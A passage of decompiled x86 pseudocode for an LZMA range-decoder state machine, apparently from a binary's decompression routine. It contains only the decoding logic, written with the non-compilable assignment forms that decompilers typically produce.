                                                    												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                    												L23:
                                                    												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                    												if( *(_t613 - 0x48) != 0) {
                                                    													goto L21;
                                                    												}
                                                    												goto L24;
                                                    											case 4:
                                                    												L133:
                                                    												_t531 =  *_t606;
                                                    												_t589 = _t531 & 0x0000ffff;
                                                    												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                    												if( *(_t613 - 0xc) >= _t565) {
                                                    													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                    													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                    													 *(_t613 - 0x40) = 1;
                                                    													_t532 = _t531 - (_t531 >> 5);
                                                    													 *_t606 = _t532;
                                                    												} else {
                                                    													 *(_t613 - 0x10) = _t565;
                                                    													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    													 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                    												}
                                                    												if( *(_t613 - 0x10) >= 0x1000000) {
                                                    													goto L139;
                                                    												}
                                                    											case 5:
                                                    												goto L137;
                                                    											case 6:
                                                    												__edx = 0;
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__eax =  *(__ebp - 4);
                                                    													__ecx =  *(__ebp - 0x38);
                                                    													 *(__ebp - 0x34) = 1;
                                                    													 *(__ebp - 0x84) = 7;
                                                    													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                    													while(1) {
                                                    														L132:
                                                    														 *(_t613 - 0x54) = _t606;
                                                    														goto L133;
                                                    													}
                                                    												}
                                                    												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                    												__esi =  *(__ebp - 0x60);
                                                    												__cl = 8;
                                                    												__cl = 8 -  *(__ebp - 0x3c);
                                                    												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                    												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                    												__ecx =  *(__ebp - 0x3c);
                                                    												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                    												__ecx =  *(__ebp - 4);
                                                    												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                    												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                    												__eflags =  *(__ebp - 0x38) - 4;
                                                    												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    												if( *(__ebp - 0x38) >= 4) {
                                                    													__eflags =  *(__ebp - 0x38) - 0xa;
                                                    													if( *(__ebp - 0x38) >= 0xa) {
                                                    														_t98 = __ebp - 0x38;
                                                    														 *_t98 =  *(__ebp - 0x38) - 6;
                                                    														__eflags =  *_t98;
                                                    													} else {
                                                    														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                    													}
                                                    												} else {
                                                    													 *(__ebp - 0x38) = 0;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x34) - __edx;
                                                    												if( *(__ebp - 0x34) == __edx) {
                                                    													__ebx = 0;
                                                    													__ebx = 1;
                                                    													goto L61;
                                                    												} else {
                                                    													__eax =  *(__ebp - 0x14);
                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                    														__eflags = __eax;
                                                    													}
                                                    													__ecx =  *(__ebp - 8);
                                                    													__ebx = 0;
                                                    													__ebx = 1;
                                                    													__al =  *((intOrPtr*)(__eax + __ecx));
                                                    													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                    													goto L41;
                                                    												}
                                                    											case 7:
                                                    												__eflags =  *(__ebp - 0x40) - 1;
                                                    												if( *(__ebp - 0x40) != 1) {
                                                    													__eax =  *(__ebp - 0x24);
                                                    													 *(__ebp - 0x80) = 0x16;
                                                    													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    													__eax =  *(__ebp - 0x28);
                                                    													 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    													__eax =  *(__ebp - 0x2c);
                                                    													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    													__eax = 0;
                                                    													__eflags =  *(__ebp - 0x38) - 7;
                                                    													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    													__al = __al & 0x000000fd;
                                                    													__eax = (__eflags >= 0) - 1 + 0xa;
                                                    													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                    													__eax =  *(__ebp - 4);
                                                    													__eax =  *(__ebp - 4) + 0x664;
                                                    													__eflags = __eax;
                                                    													 *(__ebp - 0x58) = __eax;
                                                    													goto L69;
                                                    												}
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x84) = 8;
                                                    												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                    												while(1) {
                                                    													L132:
                                                    													 *(_t613 - 0x54) = _t606;
                                                    													goto L133;
                                                    												}
                                                    											case 8:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__eax =  *(__ebp - 4);
                                                    													__ecx =  *(__ebp - 0x38);
                                                    													 *(__ebp - 0x84) = 0xa;
                                                    													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                    												} else {
                                                    													__eax =  *(__ebp - 0x38);
                                                    													__ecx =  *(__ebp - 4);
                                                    													__eax =  *(__ebp - 0x38) + 0xf;
                                                    													 *(__ebp - 0x84) = 9;
                                                    													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                    													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                    												}
                                                    												while(1) {
                                                    													L132:
                                                    													 *(_t613 - 0x54) = _t606;
                                                    													goto L133;
                                                    												}
                                                    											case 9:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													goto L89;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x60);
                                                    												if( *(__ebp - 0x60) == 0) {
                                                    													goto L171;
                                                    												}
                                                    												__eax = 0;
                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                    												_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                    												__eflags = _t259;
                                                    												0 | _t259 = _t259 + _t259 + 9;
                                                    												 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                    												goto L76;
                                                    											case 0xa:
                                                    												goto L0;
                                                    											case 0xb:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__ecx =  *(__ebp - 0x24);
                                                    													__eax =  *(__ebp - 0x20);
                                                    													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    												} else {
                                                    													__eax =  *(__ebp - 0x24);
                                                    												}
                                                    												__ecx =  *(__ebp - 0x28);
                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    												goto L88;
                                                    											case 0xc:
                                                    												L99:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xc;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t334 = __ebp - 0x70;
                                                    												 *_t334 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t334;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												__eax =  *(__ebp - 0x2c);
                                                    												goto L101;
                                                    											case 0xd:
                                                    												L37:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xd;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t122 = __ebp - 0x70;
                                                    												 *_t122 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t122;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												L39:
                                                    												__eax =  *(__ebp - 0x40);
                                                    												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                    													goto L48;
                                                    												}
                                                    												__eflags = __ebx - 0x100;
                                                    												if(__ebx >= 0x100) {
                                                    													goto L54;
                                                    												}
                                                    												L41:
                                                    												__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                    												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                    												__ecx =  *(__ebp - 0x58);
                                                    												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                    												 *(__ebp - 0x48) = __eax;
                                                    												__eax = __eax + 1;
                                                    												__eax = __eax << 8;
                                                    												__eax = __eax + __ebx;
                                                    												__esi =  *(__ebp - 0x58) + __eax * 2;
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    												__ax =  *__esi;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__edx = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													 *(__ebp - 0x40) = 1;
                                                    													__cx = __ax >> 5;
                                                    													__eflags = __eax;
                                                    													__ebx = __ebx + __ebx + 1;
                                                    													 *__esi = __ax;
                                                    												} else {
                                                    													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edx;
                                                    													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    													__ebx = __ebx + __ebx;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													goto L39;
                                                    												} else {
                                                    													goto L37;
                                                    												}
                                                    											case 0xe:
                                                    												L46:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xe;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t156 = __ebp - 0x70;
                                                    												 *_t156 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t156;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												while(1) {
                                                    													L48:
                                                    													__eflags = __ebx - 0x100;
                                                    													if(__ebx >= 0x100) {
                                                    														break;
                                                    													}
                                                    													__eax =  *(__ebp - 0x58);
                                                    													__edx = __ebx + __ebx;
                                                    													__ecx =  *(__ebp - 0x10);
                                                    													__esi = __edx + __eax;
                                                    													__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    													__ax =  *__esi;
                                                    													 *(__ebp - 0x54) = __esi;
                                                    													__edi = __ax & 0x0000ffff;
                                                    													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    													__eflags =  *(__ebp - 0xc) - __ecx;
                                                    													if( *(__ebp - 0xc) >= __ecx) {
                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    														__cx = __ax;
                                                    														_t170 = __edx + 1; // 0x1
                                                    														__ebx = _t170;
                                                    														__cx = __ax >> 5;
                                                    														__eflags = __eax;
                                                    														 *__esi = __ax;
                                                    													} else {
                                                    														 *(__ebp - 0x10) = __ecx;
                                                    														0x800 = 0x800 - __edi;
                                                    														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    														__ebx = __ebx + __ebx;
                                                    														 *__esi = __cx;
                                                    													}
                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                    														continue;
                                                    													} else {
                                                    														goto L46;
                                                    													}
                                                    												}
                                                    												L54:
                                                    												_t173 = __ebp - 0x34;
                                                    												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                    												__eflags =  *_t173;
                                                    												goto L55;
                                                    											case 0xf:
                                                    												L58:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0xf;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t203 = __ebp - 0x70;
                                                    												 *_t203 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t203;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												L60:
                                                    												__eflags = __ebx - 0x100;
                                                    												if(__ebx >= 0x100) {
                                                    													L55:
                                                    													__al =  *(__ebp - 0x44);
                                                    													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                    													goto L56;
                                                    												}
                                                    												L61:
                                                    												__eax =  *(__ebp - 0x58);
                                                    												__edx = __ebx + __ebx;
                                                    												__ecx =  *(__ebp - 0x10);
                                                    												__esi = __edx + __eax;
                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    												__ax =  *__esi;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__edi = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													_t217 = __edx + 1; // 0x1
                                                    													__ebx = _t217;
                                                    													__cx = __ax >> 5;
                                                    													__eflags = __eax;
                                                    													 *__esi = __ax;
                                                    												} else {
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edi;
                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    													__ebx = __ebx + __ebx;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													goto L60;
                                                    												} else {
                                                    													goto L58;
                                                    												}
                                                    											case 0x10:
                                                    												L109:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0x10;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t365 = __ebp - 0x70;
                                                    												 *_t365 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t365;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												goto L111;
                                                    											case 0x11:
                                                    												goto L69;
                                                    											case 0x12:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													__eax =  *(__ebp - 0x58);
                                                    													 *(__ebp - 0x84) = 0x13;
                                                    													__esi =  *(__ebp - 0x58) + 2;
                                                    													while(1) {
                                                    														L132:
                                                    														 *(_t613 - 0x54) = _t606;
                                                    														goto L133;
                                                    													}
                                                    												}
                                                    												__eax =  *(__ebp - 0x4c);
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                    												__ecx =  *(__ebp - 0x58);
                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                    												__eflags = __eax;
                                                    												__eax =  *(__ebp - 0x58) + __eax + 4;
                                                    												goto L130;
                                                    											case 0x13:
                                                    												__eflags =  *(__ebp - 0x40);
                                                    												if( *(__ebp - 0x40) != 0) {
                                                    													_t469 = __ebp - 0x58;
                                                    													 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                    													__eflags =  *_t469;
                                                    													 *(__ebp - 0x30) = 0x10;
                                                    													 *(__ebp - 0x40) = 8;
                                                    													L144:
                                                    													 *(__ebp - 0x7c) = 0x14;
                                                    													goto L145;
                                                    												}
                                                    												__eax =  *(__ebp - 0x4c);
                                                    												__ecx =  *(__ebp - 0x58);
                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                    												 *(__ebp - 0x30) = 8;
                                                    												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                    												L130:
                                                    												 *(__ebp - 0x58) = __eax;
                                                    												 *(__ebp - 0x40) = 3;
                                                    												goto L144;
                                                    											case 0x14:
                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                    												__eax =  *(__ebp - 0x80);
                                                    												 *(_t613 - 0x88) = _t533;
                                                    												goto L1;
                                                    											case 0x15:
                                                    												__eax = 0;
                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    												__al = __al & 0x000000fd;
                                                    												__eax = (__eflags >= 0) - 1 + 0xb;
                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                    												goto L120;
                                                    											case 0x16:
                                                    												__eax =  *(__ebp - 0x30);
                                                    												__eflags = __eax - 4;
                                                    												if(__eax >= 4) {
                                                    													_push(3);
                                                    													_pop(__eax);
                                                    												}
                                                    												__ecx =  *(__ebp - 4);
                                                    												 *(__ebp - 0x40) = 6;
                                                    												__eax = __eax << 7;
                                                    												 *(__ebp - 0x7c) = 0x19;
                                                    												 *(__ebp - 0x58) = __eax;
                                                    												goto L145;
                                                    											case 0x17:
                                                    												L145:
                                                    												__eax =  *(__ebp - 0x40);
                                                    												 *(__ebp - 0x50) = 1;
                                                    												 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                    												goto L149;
                                                    											case 0x18:
                                                    												L146:
                                                    												__eflags =  *(__ebp - 0x6c);
                                                    												if( *(__ebp - 0x6c) == 0) {
                                                    													 *(__ebp - 0x88) = 0x18;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x70);
                                                    												__eax =  *(__ebp - 0xc);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												_t484 = __ebp - 0x70;
                                                    												 *_t484 =  *(__ebp - 0x70) + 1;
                                                    												__eflags =  *_t484;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    												L148:
                                                    												_t487 = __ebp - 0x48;
                                                    												 *_t487 =  *(__ebp - 0x48) - 1;
                                                    												__eflags =  *_t487;
                                                    												L149:
                                                    												__eflags =  *(__ebp - 0x48);
                                                    												if( *(__ebp - 0x48) <= 0) {
                                                    													__ecx =  *(__ebp - 0x40);
                                                    													__ebx =  *(__ebp - 0x50);
                                                    													0 = 1;
                                                    													__eax = 1 << __cl;
                                                    													__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                    													__eax =  *(__ebp - 0x7c);
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    													while(1) {
                                                    														 *(_t613 - 0x88) = _t533;
                                                    														goto L1;
                                                    													}
                                                    												}
                                                    												__eax =  *(__ebp - 0x50);
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    												__eax =  *(__ebp - 0x58);
                                                    												__esi = __edx + __eax;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__ax =  *__esi;
                                                    												__edi = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													__cx = __ax >> 5;
                                                    													__eax = __eax - __ecx;
                                                    													__edx = __edx + 1;
                                                    													__eflags = __edx;
                                                    													 *__esi = __ax;
                                                    													 *(__ebp - 0x50) = __edx;
                                                    												} else {
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edi;
                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													goto L148;
                                                    												} else {
                                                    													goto L146;
                                                    												}
                                                    											case 0x19:
                                                    												__eflags = __ebx - 4;
                                                    												if(__ebx < 4) {
                                                    													 *(__ebp - 0x2c) = __ebx;
                                                    													L119:
                                                    													_t393 = __ebp - 0x2c;
                                                    													 *_t393 =  *(__ebp - 0x2c) + 1;
                                                    													__eflags =  *_t393;
                                                    													L120:
                                                    													__eax =  *(__ebp - 0x2c);
                                                    													__eflags = __eax;
                                                    													if(__eax == 0) {
                                                    														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                    														goto L170;
                                                    													}
                                                    													__eflags = __eax -  *(__ebp - 0x60);
                                                    													if(__eax >  *(__ebp - 0x60)) {
                                                    														goto L171;
                                                    													}
                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                    													__eax =  *(__ebp - 0x30);
                                                    													_t400 = __ebp - 0x60;
                                                    													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                    													__eflags =  *_t400;
                                                    													goto L123;
                                                    												}
                                                    												__ecx = __ebx;
                                                    												__eax = __ebx;
                                                    												__ecx = __ebx >> 1;
                                                    												__eax = __ebx & 0x00000001;
                                                    												__ecx = (__ebx >> 1) - 1;
                                                    												__al = __al | 0x00000002;
                                                    												__eax = (__ebx & 0x00000001) << __cl;
                                                    												__eflags = __ebx - 0xe;
                                                    												 *(__ebp - 0x2c) = __eax;
                                                    												if(__ebx >= 0xe) {
                                                    													__ebx = 0;
                                                    													 *(__ebp - 0x48) = __ecx;
                                                    													L102:
                                                    													__eflags =  *(__ebp - 0x48);
                                                    													if( *(__ebp - 0x48) <= 0) {
                                                    														__eax = __eax + __ebx;
                                                    														 *(__ebp - 0x40) = 4;
                                                    														 *(__ebp - 0x2c) = __eax;
                                                    														__eax =  *(__ebp - 4);
                                                    														__eax =  *(__ebp - 4) + 0x644;
                                                    														__eflags = __eax;
                                                    														L108:
                                                    														__ebx = 0;
                                                    														 *(__ebp - 0x58) = __eax;
                                                    														 *(__ebp - 0x50) = 1;
                                                    														 *(__ebp - 0x44) = 0;
                                                    														 *(__ebp - 0x48) = 0;
                                                    														L112:
                                                    														__eax =  *(__ebp - 0x40);
                                                    														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                    															_t391 = __ebp - 0x2c;
                                                    															 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                    															__eflags =  *_t391;
                                                    															goto L119;
                                                    														}
                                                    														__eax =  *(__ebp - 0x50);
                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    														__eax =  *(__ebp - 0x58);
                                                    														__esi = __edi + __eax;
                                                    														 *(__ebp - 0x54) = __esi;
                                                    														__ax =  *__esi;
                                                    														__ecx = __ax & 0x0000ffff;
                                                    														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                    														__eflags =  *(__ebp - 0xc) - __edx;
                                                    														if( *(__ebp - 0xc) >= __edx) {
                                                    															__ecx = 0;
                                                    															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                    															__ecx = 1;
                                                    															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                    															__ebx = 1;
                                                    															__ecx =  *(__ebp - 0x48);
                                                    															__ebx = 1 << __cl;
                                                    															__ecx = 1 << __cl;
                                                    															__ebx =  *(__ebp - 0x44);
                                                    															__ebx =  *(__ebp - 0x44) | __ecx;
                                                    															__cx = __ax;
                                                    															__cx = __ax >> 5;
                                                    															__eax = __eax - __ecx;
                                                    															__edi = __edi + 1;
                                                    															__eflags = __edi;
                                                    															 *(__ebp - 0x44) = __ebx;
                                                    															 *__esi = __ax;
                                                    															 *(__ebp - 0x50) = __edi;
                                                    														} else {
                                                    															 *(__ebp - 0x10) = __edx;
                                                    															0x800 = 0x800 - __ecx;
                                                    															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                    															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    															 *__esi = __dx;
                                                    														}
                                                    														__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    														if( *(__ebp - 0x10) >= 0x1000000) {
                                                    															L111:
                                                    															_t368 = __ebp - 0x48;
                                                    															 *_t368 =  *(__ebp - 0x48) + 1;
                                                    															__eflags =  *_t368;
                                                    															goto L112;
                                                    														} else {
                                                    															goto L109;
                                                    														}
                                                    													}
                                                    													__ecx =  *(__ebp - 0xc);
